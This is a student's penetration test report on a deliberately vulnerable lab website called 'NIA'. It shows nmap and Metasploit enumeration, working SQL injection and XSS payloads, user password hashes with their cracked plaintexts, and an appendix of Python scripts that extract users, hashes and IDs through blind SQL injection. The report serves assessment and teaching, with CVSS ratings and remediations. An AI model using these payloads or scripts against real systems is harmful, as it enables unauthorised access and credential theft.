Penetration Test Report

NIA: National Insecurity Agency

Vulnerability Assessment & Penetration Testing, made by:

Lorenzo Bartolini (*7073016*), lorenzo.bartolini8@edu.unifi.it

Table of Contents

Executive Summary

It was asked to perform a **Vulnerability Assessment and Penetration Testing** on the *NIA website*. Initial scan resulted in just the website exposed to outside clients so that is the surface area analyzed here.

The first examination has been done on the Login page. The results showed that it was vulnerable to **SQL Injection** so it was possible to bypass the login and it was possible to extract many useful informations, such as username-password enumeration and the structure of the table storing users in the database.

After logging in it was possible to expand the surface area to multiple pages that were accessible only by logged users. In particular it was possible to show that there is a tainted flow in the reports, from *send.php* to *report.php*. Further investigations showed that the form in the send page was vulnerable to **SQL Injection** and the report page was vulnerable to **XSS (Stored)**. Putting together these two vulnerabilities gave the possibility to extract every sensitive information available in the database, for example it confirmed all the users already known from the previous enumeration and it showed every possible information about the structure of tables and database users.
In particular XSS (Stored) can open a door for an attacker into the client browsers via a *hook* and gain control of it remotely.

Another **XSS (Reflected)** vulnerability was found in the recovery page.

In the end, were found weak credentials and webpages showing information about the system that can help an attacker gain access into the system in an easier and more damaging way.

Methodology used

The methodology used is composed of the following phases:

- *Network Scanning*
- *Banner Grabbing*
- *Enumeration*
- *Vulnerability Assessment*
- *Exploitation and Post Exploitation*

Network Scanning

The target was well specified and already pointed out. No further hosts were found scanning.

Banner Grabbing

A specific scan was performed on the host machine to determine the services running and their version.

```
$ nmap -sV -p 8080 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2024-05-28 21:20 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000091s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
```

It was found an **Apache server** (version **2.4.38**) running on port **80** [on my machine 8080 after a redirect through docker].
No other services were found.

It was possible to gather more information thanks to error pages. Operating System is **Debian**. The web server is running on **PHP** (version **7.2.34**). The underlying database is **MariaDB** (version **10.3.39-MariaDB-0+deb10u2**) and is running with a **case insensitive** charset.

After performing these two initial phases it was clear that the surface area would have been the website.

Enumeration

In this phase the goal is to obtain as much information as possible about the system. In this case it was performed enumeration specifically on the files and/or directories accessible via Apache. Later on it was necessary to do some rounds of enumeration regarding users' information in the database.
Simply browsing the website it was possible to find three pages: **home**, **login** and **recovery** pages.
It was then executed an automated test targeting files and/or folders.
It was used the following module of metasploit: *auxiliary/scanner/http/files_dir*

```
[+] Found http://127.0.0.1:8080/config.php 200
[+] Found http://127.0.0.1:8080/debug.php 200
[+] Found http://127.0.0.1:8080/index.php 200
[+] Found http://127.0.0.1:8080/login.php 200
[+] Found http://127.0.0.1:8080/logout.php 302
[+] Found http://127.0.0.1:8080/report.php 302
[+] Found http://127.0.0.1:8080/send.php 302
[+] Found http://127.0.0.1:8080/welcome.php 302
```

As we can see many more pages are present in the system.
In the following phase they are going to be analyzed thoroughly.

Vulnerability Assessment

It is possible to determine, looking at the response code next to the name, which of these pages are accessible freely and which are accessible only after
logging in.

The first thing that has been done was to look at **debug.php** and it revealed a lot of information that really should not be available to the external world, such as the root folder (/var/www/html) of Apache and the exact version of MariaDB and PHP.

XSS (Reflected)

Looking at the **recovery.php** page, a tainted flow has been found. In fact it was obvious that the data, written inside the ID field, was being written (without any check) below the same field. This is vulnerable to **XSS (Reflected)** and the following is the PoC that shows this behavior:

```
<script>alert(1)</script>
```

SQL Injection

In the **login.php** page there is, as the name suggests, a login form to perform the login. It has been tested if the form was vulnerable to **SQL Injection**, and in fact it was. The following is the PoC found that permitted to bypass the login:

```
' OR Username LIKE (SELECT Username) LIMIT 1; #
```

The analysis kept searching for vulnerabilities on the pages that were not accessible without a logged in user.
In the **send.php** page there is a form to post a report to the database. It is vulnerable to **SQL Injection** and, combined with the next vulnerability, it can give the attacker full access to the database.
The following is the PoC (this string has to be written in the Title field):

```
123', (SELECT user()); # )
```

XSS (Stored)

In the **report.php** there is a list of reports that are supposedly fetched from the database. It could be vulnerable to **XSS (Stored)** if no counter measures are taken during the process of storing the reports in the database. In fact we are going to see that it is vulnerable because of the sending process not sanitizing input properly.
The following is the PoC (this string has to be written in the Title field in the send.php page):

```
123', '<script>alert(1)</script>'); #
```

Exploitation and Post-Exploitation

After being able to make a PoC for the SQL Injection on *login.php*, the first idea was to use this to gain more information about the system.
In particular it was possible to **enumerate** *users*, their *password* and the associated *id*. For this purpose it has been possible to use an existing tool but it has been preferred to write a little script to do so (code can be found in the appendix). All it does is trying to execute the login via SQL Injection using *LIKE* and the wildcard *%* to guess, one by one, the letters in the username. A similar approach has been used to extract the ID and password (hashed MD5, found using a simple hash detector) of each user.

Data extracted:

Id	**Username**	**Password** (Hashed MD5)
10	*agentx*	*b20e0aaa66fdd9a7a5b2ebf49d32b91b*
1337	*sysadmin*	*fcea920f7412b5da7be0cf42b8c93759*
42	*utente*	*bed128365216c019988915ed3add75fb*
7	*tizio.incognito*	*5ebe2294ecd0e0f08eab7690d2a6ee69*
8	*jackofspade*	*617882784af86bff022c4b57a62c807b*

Then it has been used *John the Ripper* to crack these hashed passwords using its wordlist. Only two password were cracked:

Username	**Hashed Password**	**Plaintext Password**
sysadmin	fcea920f7412b5da7be0cf42b8c93759	*1234567*
tizio.incognito	5ebe2294ecd0e0f08eab7690d2a6ee69	*secret*

Others online tools were used and found only one password:

Username	**Hashed Password**	**Plaintext Password**
utente	*bed128365216c019988915ed3add75fb*	passw0rd

All of this was done before discovering the XSS vulnerability in the report.php page. After finding it it has been possible to check if the data extracted is correct, and in fact it is.
The main activity done in this phase was data exfiltration from the database using the SQLi and XSS vulnerability regarding reports. To do so, a script has been used to automate the process (code in the appendix).

The main information extracted are the following:

- Database name: *niadb*
- Tables and scheme:
    - reports(repid: smallint, agent: varchar, title: varchar, message: varchar)
    - agents(id: smallint, username: varchar, password: varchar)

Another dangerous thing that can be done with XSS (Stored) is injecting a *hook* and accessing the client browser remotely via *BeEF*.

Findings

All the vulnerabilities are ranked using the CVSS score.

SQL Injection

Risk Level:	**High** (CVSS: *7.3*)
Description:	SQL Injection caused by *improper input sanitization/neutralization*
Impact:	An attacker could bypass login controls and access sensitive informations about the system and the users
Remediation:	(PATCH) Make use of *prepared statements* to query the database

XSS (Stored)

Risk Level:	**High** (CVSS: *7.1*)
Description:	XSS (Stored) caused by *improper input sanitization/neutralization*
Impact:	An attacker could inject a piece of code to gain access to users accessing the website
Remediation:	(MITIGATION) *Sanitize and neutralize* data (entering the database and/or being showed in the web pages) that will be exposed to the website

XSS (Reflected)

Risk Level:	**Medium** (CVSS: *5.8*)
Description:	XSS (Reflected) caused by *improper input sanitization/neutralization*
Impact:	An attacker could execute code client-side on the website
Remediation:	(MITIGATION) *Sanitize and neutralize* data before writing in the web page

Weak Admin Credentials

In particular regarding the user *sysadmin* inside the website.

Risk Level:	**Medium** (CVSS: *5.6*)
Description:	*Weak password* for admin user
Impact:	An attacker could bruteforce the hash password to gain access to admin user inside the website
Remediation:	(MITIGATION) Use a *stronger password* (long with numbers and special characters)

Weak Hashing

Risk Level:	**Medium** (CVSS: *5.1*)
Description:	*Weak hashing* of the passwords
Impact:	An attacker can easily crack the passwords since a weak function is used and no salt/pepper is added
Remediation:	(MITIGATION) Use a *stronger function* and add *salt/pepper* to the password

Default Apache Files

Risk Level:	**Medium**
Description:	File config.php, containing phpinfo(), accessible and visible to everyone exposing services and version numbers
Impact:	An attacker could exploit known vulnerabilities of services based on the version acquired thanks to this vulnerability
Remediation:	(PATCH) *Do not expose* default web pages and ones that hold sensitive information

Error Pages

Risk Level:	**Low**
Description:	Error pages holding information about the server and database
Impact:	An attacker could gain knowledge of the system
Remediation:	(PATCH) Use *custom error pages* to intercept errors of MariaDB or Apache

Appendix

enum_users(url, verbose)

```python
def enum_users(url='172.17.0.2', verbose=False):
    alfabeto = string.digits + string.ascii_lowercase + string.punctuation
    alfabeto = [a for a in alfabeto]

    found = []
    for i in range(30):
        if verbose: print("Cerco user: #", i)
        random.shuffle(alfabeto)
        username = ''
        for _ in range(64):
            foundChar = False
            for char in alfabeto:
                if char == '%' or char == '_':
                    continue

                tmp = username+char+'%'
                response = requests.post(f'http://{url}/login.php', data={'username': f"' OR Username LIKE '{tmp}' LIMIT 1; #",
                                                                          'password': '...'})

                if response.url == f'http://{url}/welcome.php':
                    foundChar = True
                    username += char
                    break

            if not foundChar:
                break

        found.append(username)
        if verbose: print(username)
    return set(found)
```

get_password(username, url, verbose)

```python
def get_password(username, url='172.17.0.2', verbose=False):
    # Password MD5 Hash
    chars_lower = 'abcdef'
    alfabeto = string.digits + chars_lower + chars_lower.upper()

    password = ''
    for _ in range(32):
        for char in alfabeto:
            tmp = password+char+'%'
            response = requests.post(f'http://{url}/login.php', data={
                'username': f"{username}' AND Password LIKE '{tmp}' LIMIT 1; #",
                'password': '...'})

            if response.url == f"http://{url}/welcome.php":
                password += char
                if verbose: print(f'Found: {char}')
                break

    return password
```

get_id(username, url, verbose)

```python
def get_id(username, url='172.17.0.2', verbose=False):
    alfabeto = string.digits

    id = ''
    for _ in range(32):
        for char in alfabeto:
            tmp = id+char+'%'
            response = requests.post(f'http://{url}/login.php', data={
                'username': f"{username}' AND Id LIKE '{tmp}' LIMIT 1; #",
                'password': '...'})

            if response.url == f"http://{url}/welcome.php":
                id += char
                if verbose: print(f'Found: {char}')
                break

    return id
```

inject_sql(command, url)

```python
def inject_sql(command, url='172.17.0.2'):
    requests.post(f'http://{url}/send.php', data={
                'agent': '',
                'title': f"inject_sql', {command} ); #",
                'message': '...'},
                cookies={
                    'PHPSESSID': phpsession
                })
```